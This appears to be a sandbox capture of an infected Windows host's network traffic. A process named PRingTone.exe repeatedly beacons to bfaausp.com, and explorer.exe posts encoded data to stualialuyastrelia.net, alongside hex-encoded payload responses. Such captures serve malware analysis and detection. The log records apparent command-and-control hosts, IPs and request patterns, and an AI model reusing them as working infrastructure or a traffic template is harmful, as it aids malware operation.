Dec 19, 2023 03:23:50.198992968 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:23:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 66 36 34 0d 0a 64 65 32 66 65 38 38 65 32 36 31 64 34 37 34 39 62 39 36 34 37 38 33 39 33 39 36 39 66 38 30 37 33 39 66 62 31 31 35 37 39 34 34 37 31 37 64 61 66 63 61 65 38 63 62 62 62 38 32 65 63 32 36 32 36 30 37 63 35 30 63 39 64 33 34 66 64 63 34 61 34 38 64 32 34 37 39 37 34 35 65 64 34 62 65 32 62 37 66 36 34 65 39 33 35 37 39 65 33 63 31 66 39 32 32 62 38 37 34 37 39 62 39 35 32 32 32 35 36 38 34 39 61 33 32 34 32 30 37 32 63 38 39 30 36 30 33 33 38 61 38 64 64 64 32 62 35 62 35 33 38 66 63 35 30 37 66 30 31 35 63 34 64 61 35 63 62 33 32 64 33 39 31 61 34 61 63 61 35 63 32 39 63 35 35 65 66 64 33 34 39 64 34 33 34 30 61 65 32 37 65 62 61 35 31 61 39 62 35 65 35 64 62 63 62 36 61 33 38 31 65 39 64 36 61 64 35 32 66 65 66 61 62 65 39 31 64 35 32 35 33 39 38 32 31 65 62 61 33 37 66 30 37 33 31 64 61 36 61 37 37 66 61 66 30 36 63 31 62 36 37 64 39 32 31 37 61 66 63 62 39 39 33 39 34 38 39 34 61 36 64 37 32 34 38 32 65 36 38 36 65 38 30 35 66 31 34 33 64 34 35 35 32 66 63 35 32 61 61 35 39 33 32 34 63 62 36 34 30 62 34 32 35 33 39 32 64 64 66 33 63 37 65 64 37 38 37 38 34 31 32 37 33 61 62 35 36 33 66 65 62 39 32 33 32 35 32 33 61 65 63 36 36 37 36 35 33 63 31 32 66 66 39 65 36 34 35 39 34 31 61 37 34 39 62 37 61 64 66 31 64 31 33 65 33 37 30 64 31 65 32 33 35 62 64 38 30 32 64 34 34 32 30 38 35 30 66 65 31 36 30 34 33 65 38 61 66 39 63 31 37 35 38 35 39 36 64 35 38 39 31 31 34 61 33 31 63 34 62 30 34 33 36 63 65 63 66 62 37 32 35 36 39 35 65 38 35 65 38 30 30 36 66 35 30 34 34 37 39 64 32 36 63 65 65 65 62 65 32 37 35 39 65 37 37 38 63 65 36 35 33 36 36 36 61 62 35 34 66 37 66 63 63 64 31 39 32 65 30 36 63 39 62 63 38 37 63 32 63 38 65 62 35 31 37 32 64 33 35 66 30 36 38 35 30 37 32 35 63 38 32 37 38 38 63 33 37 62 31 36 34 62 36 66 31 37 34 61 39 66 63 62 30 38 39 66 64 61 39 37 32 30 37 61 38 38 64 32 63 34 32 35 37 38 31 61 62 65 32 62 34 65 64 38 64 66 33 37 34 34 31 33 31 62 61 64 30 63 65 34 66 33 36 64 35 36 38 36 34 33 65 61 65 35 30 64 30 39 62 36 61 30 66 61 36 64 34 38 30 62 35 39 39 32 34 65 36 63 62 66 66 35 62 37 64 63 64 37 31 35 61 35 37 65 31 32 61 39 33 31 65 62 30 34 37 39 30 35 37 30 34 36 63 33 35 37 63 35 66 35 31 30 32 66 38 63 35 61 37 30 65 38 64 62 63 30 38 38 65 61 33 64 63 64 65 35 33 64 33 38 30 61 61 63 36 33 31 32 62 66 31 63 31 31 39 35 66 64 61 64 31 36 65 38 63 65 61 30 30 65 63 32 61 65 38 39 65 64 61 37 36 31 31 34 65 64 64 65 62 64 63 61 37 39 32 64 32 34 36 34 61 66 37 61 38 35 39 66 35 37 32 30 38 66 34 31 38 34 33 30 31 31 61 36 35 32 32 37 62 39 31 64 34 38 31 39 66 35 32 62 39 36 37 65 62 36 64 32 64 65 64 30 38 37 62 33 35 64 32 33 66 33 63 38 39 37 62 31 37 37 31 61 30 61 62 31 33 62 33 39 66 39 66 65 38 39 32 36 65 36 62 35 39 30 39 39 36 37 37 33 31 62 61 31 38 31 35 34 65 65 36 64 66 63 66 65 63 35 32 37 33 62 36 30 37 39 35 33 35 35 36 33 34 39 36 64 63 63 37 37 35 62 61 63 64 37 65 61 34 63 61 33 66 34 32 64 36 64 35 64 66 33 65 62 66 65 37 34 31 32 30 30 30 31 31 35 37 39 62 30 35 31 38 37 64 62 39 66 66 37 64 38 37 36 32 37 38 65 37 31 38 31 35 63 37 33 36 63 38 66 66 63 33 37 31 63 39 63 31 62 35 65 62 35 62 31 33 35 33 30 66 63 38 33 31 32 32 65 64 65 31 66 36 36 66 35 62 35 31 33 39 33 33 65 62 62 66 30 34 34 38 63 30 66 36 36 38 61 63 36 63 65 36 34 63 Data Ascii: f64de2fe88e261d4749b96478393969f80739fb1157944717dafcae8cbbb82ec262607c50c9d34fdc4a48d2479745ed4be2b7f64e93579e3c1f922b87479b9522256849a3242072c89060338a8ddd2b5b538fc507f015c4da5cb32d391a4aca5c29c55efd349d4340ae27eba51a9b5e5dbcb6a381e9d6ad52fefabe91d52539821eba37f0731da6a77faf06c1b67d9217afcb99394894a6d72482e686e805f143d4552fc52aa59324cb640b425392ddf3c7ed787841273ab563feb9232523aec667653c12ff9e645941a749b7adf1d13e370d1e235bd802d4420850fe16043e8af9c1758596d589114a31c4b0436cecfb725695e85e8006f504479d26ceeebe2759e778ce653666ab54f7fccd192e06c9bc87c2c8eb5172d35f06850725c82788c37b164b6f174a9fcb089fda97207a88d2c425781abe2b4ed8df3744131bad0ce4f36d568643eae50d09b6a0fa6d480b59924e6cbff5b7dcd715a57e12a931eb0479057046c357c5f5102f8c5a70e8dbc088ea3dcde53d380aac6312bf1c1195fdad16e8cea00ec2ae89eda76114eddebdca792d2464af7a859f57208f41843011a65227b91d4819f52b967eb6d2ded087b35d23f3c897b1771a0ab13b39f9fe8926e6b5909967731ba18154ee6dfcfec5273b6079535563496dcc775bacd7ea4ca3f42d6d5df3ebfe741200011579b05187db9ff7d876278e71815c736c8ffc371c9c1b5eb5b13530fc83122ede1f66f5b513933ebbf0448c0f668ac6ce64c
Dec 19, 2023 03:23:50.199018002 CET	1286	IN	Data Raw: 34 37 66 62 33 38 36 63 36 31 30 35 31 61 65 64 64 38 62 37 31 36 39 66 32 37 38 66 37 36 36 61 66 62 37 65 64 64 35 65 66 39 33 31 33 34 33 33 66 33 31 38 31 37 61 34 64 61 36 36 38 37 65 61 34 62 66 36 65 36 34 35 36 30 62 39 63 61 65 30 62 36 Data Ascii: 47fb386c61051aedd8b7169f278f766afb7edd5ef9313433f31817a4da6687ea4bf6e64560b9cae0b60f16531a09b74ebb247717e6af86b3d64b9c8186940f5c8ca90f4fc910ee0773a75ccbe59cabf3a29c4ef4be3cb4cef24ad864f420fd21cd10b3016c90736572523e25b5dafced50b71c6b7ffa7154a8a
Dec 19, 2023 03:23:50.199035883 CET	1286	IN	Data Raw: 62 38 64 32 30 63 64 38 35 30 30 62 33 34 36 65 63 62 37 65 36 31 38 64 64 63 35 66 39 38 32 37 35 34 65 38 30 39 31 38 34 66 33 63 37 63 66 65 61 64 34 63 65 62 32 62 31 33 64 62 65 35 36 63 37 31 31 37 37 63 37 64 39 61 63 33 33 30 66 39 64 36 Data Ascii: b8d20cd8500b346ecb7e618ddc5f982754e809184f3c7cfead4ceb2b13dbe56c71177c7d9ac330f9d6ede5f5d4f2ca9cfa32bc6fd5027d277cc3de8b53b96775e605f34bd8f39f488b428d6247f41a5e2a17c1c4e9080791ace79cedf12826b3f3f4027c542703c85a3da3b6ababca2ba1f32340429329ee305
Dec 19, 2023 03:23:50.199054956 CET	285	IN	Data Raw: 38 39 33 35 36 61 31 35 31 63 37 37 31 37 33 35 31 32 33 33 33 36 66 37 30 63 38 61 36 63 66 34 31 64 37 34 64 30 32 35 33 38 38 31 37 36 62 37 33 36 62 61 61 65 34 63 65 62 66 62 61 61 61 63 61 65 37 66 37 63 30 35 36 30 38 64 35 33 32 39 36 36 Data Ascii: 89356a151c771735123336f70c8a6cf41d74d025388176b736baae4cebfbaaacae7f7c05608d53296648981cecf615b73c42af03d99646b6c3e235bb964027057ae3a7dc994cb54e74f23a973ea396fd6ad38cb19fc560a49aee528a4e8fb40240248280dcb4689a495c72ce4225ddcef3dbb78e1ec7db46627
Dec 19, 2023 03:23:50.199081898 CET	155	IN	Data Raw: 39 30 0d 0a 34 30 33 36 35 32 38 33 34 64 38 64 35 32 65 34 34 66 66 30 62 38 65 36 38 61 38 31 36 37 39 65 31 66 34 61 63 31 35 61 61 37 61 31 64 39 36 36 35 36 37 66 31 30 37 66 64 63 37 31 38 61 39 61 62 35 62 64 66 36 66 37 32 61 38 31 37 30 Data Ascii: 90403652834d8d52e44ff0b8e68a81679e1f4ac15aa7a1d966567f107fdc718a9ab5bdf6f72a8170616eccae967b294983228adb697b3591dd788e359a2f66cd2ea86345a7e5fce9a20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49796	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:51.790761948 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:23:52.072866917 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:23:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49797	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:52.948837996 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:23:53.227556944 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:23:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49798	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:53.618000031 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:23:53.891993999 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:23:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49799	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:54.280514002 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:23:54.560440063 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:23:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49800	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:54.980252028 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:23:55.260579109 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:23:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49801	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:55.628789902 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:23:55.902625084 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:23:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49802	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:56.280316114 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:23:56.558732986 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:23:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49803	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:56.982692003 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:23:57.261457920 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:23:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49804	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:57.637063026 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:23:57.923814058 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:23:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370
Dec 19, 2023 03:23:58.045252085 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:23:58.321276903 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:23:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49805	91.215.85.17	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:58.605426073 CET	279	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wbpkmqnacrfx.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 19, 2023 03:23:58.605468035 CET	109	OUT	Data Raw: 48 9d f8 c9 40 14 55 20 5a 76 51 2f 78 da 53 bb 20 6e ed 14 f8 1d aa a8 c1 61 a2 80 01 ff d5 91 88 a9 81 c4 77 37 e3 c0 d1 5b 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: H@U ZvQ/xS naw7[j~_=;}f=B!bONfy&5c50
Dec 19, 2023 03:23:58.899674892 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 19 Dec 2023 02:23:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49806	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:58.714912891 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:23:58.988746881 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:23:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49807	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:59.549489975 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:23:59.827506065 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:23:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49808	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:00.223074913 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:00.505295992 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49809	91.215.85.17	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:00.542222977 CET	280	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vjqxxbfgsldfw.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 19, 2023 03:24:00.542289972 CET	109	OUT	Data Raw: 48 9d f8 c9 40 14 55 20 5a 76 51 2f 78 da 53 bb 20 6e ed 14 f8 1d aa a8 c1 61 a2 80 01 ff d5 91 88 a9 81 c4 77 37 e3 c0 d1 5b 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: H@U ZvQ/xS naw7[j~_=;}f=B!bONfy&5c50
Dec 19, 2023 03:24:00.832334995 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 19 Dec 2023 02:24:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49810	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:00.887202024 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:01.167279005 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49811	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:01.604185104 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:01.878051043 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49812	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:02.260787010 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:02.541291952 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49813	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:02.936168909 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
